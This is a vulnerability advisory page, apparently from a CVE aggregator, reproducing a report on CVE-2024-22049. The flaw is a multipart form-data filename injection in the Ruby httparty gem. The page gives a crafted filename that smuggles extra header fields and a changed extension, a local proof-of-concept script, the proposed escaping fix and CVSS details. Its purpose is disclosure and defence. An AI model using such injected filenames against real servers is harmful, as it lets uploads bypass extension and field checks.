httparty has multipart/form-data request tampering vulnerability
I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.
httparty/lib/httparty/request > body.rb > def generate_multipart
https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
By exploiting this problem, the following attacks are possible
For example, this vulnerability can be exploited to generate the following Content-Disposition.
> Normal Request example:
> normal input filename: abc.txt
>
> generated normal header in multipart/form-data
> Content-Disposition: form-data; name="avatar"; filename="abc.txt"
> Malicious Request example
> malicious input filename: overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt
>
> generated malicious header in multipart/form-data:
> Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from *.txt to *.sh .
These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.
I have confirmed that the attack succeeds, at least in the following frameworks
The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.
WhatWG's HTML spec has an escaping requirement.
https://html.spec.whatwg.org/#multipart-form-data
> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.
As noted at the beginning of this section, encoding must be done as described in the HTML Spec.
https://html.spec.whatwg.org/#multipart-form-data
> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.
Therefore, it is recommended that Content-Disposition be modified by either of the following
> Before:
> Content-Disposition: attachment;filename="malicious.sh";dummy=.txt
> After:
> Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"
https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
```
file_name.gsub('"', '%22')
```
Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK.
However, since there may be omissions, it is safer to URL encode these as well, if possible.
( \r to %0A and \d to %0D )
OS: macOS Monterey(12.3)
Ruby ver: ruby 3.1.2p20
httparty ver: 0.20.0
(Python3 - HTTP Request Logging Server)
(Linux or MacOS is required.
This is because Windows does not allow file names containing " (double-quote) .)
1. Create Project
```
$ mkdir my-app
$ cd my-app
$ gem install httparty
```
2. Create malicious file
```
$ touch 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
```
3. Generate Vuln code
```
$ vi example.rb
```
```
require 'httparty'
filename = 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
HTTParty.post('http://localhost:12345/',
body: {
name: 'Foo Bar',
email: '[email protected]',
avatar: File.open(filename)
}
)
```
4. Run Logging Server
I write Python code, but any method will work as long as you can see the HTTP Request Body.
(e.g. Debugger, HTTP Logging Server, Packet Capture)
$ vi logging.py
```
from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
class LoggingServer(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.end_headers()
self.wfile.write("ok".encode("utf-8"))
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
ip = '127.0.0.1'
port = 12345
server = HTTPServer((ip, port), LoggingServer)
server.serve_forever()
```
$ python logging.py
5. Run & Logging server
```
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE-2024-22049 is classified as CWE-472: External Control of Assumed-Immutable Web Parameter. The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.
CVE-2024-22049 is recorded against 3 packages.
Published on 4 January 2024 and last revised on 14 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
github.com
github.com
github.com
github.com
lists.debian.org
lists.fedoraproject.org
lists.fedoraproject.org
vulncheck.com
github.com
github.com
github.com
github.com
lists.debian.org
lists.debian.org
lists.fedoraproject.org
lists.fedoraproject.org
vulncheck.com
debian-linux has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-472: External Control of Assumed-Immutable Web Parameter) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| debian-linux | — | — |
| fedora | — | — |
| httparty | — | 0.21.0 |
References
Similar Threats
Exploit Protection
CVE-2024-22049 carries CVSS 5.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2024-22049 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.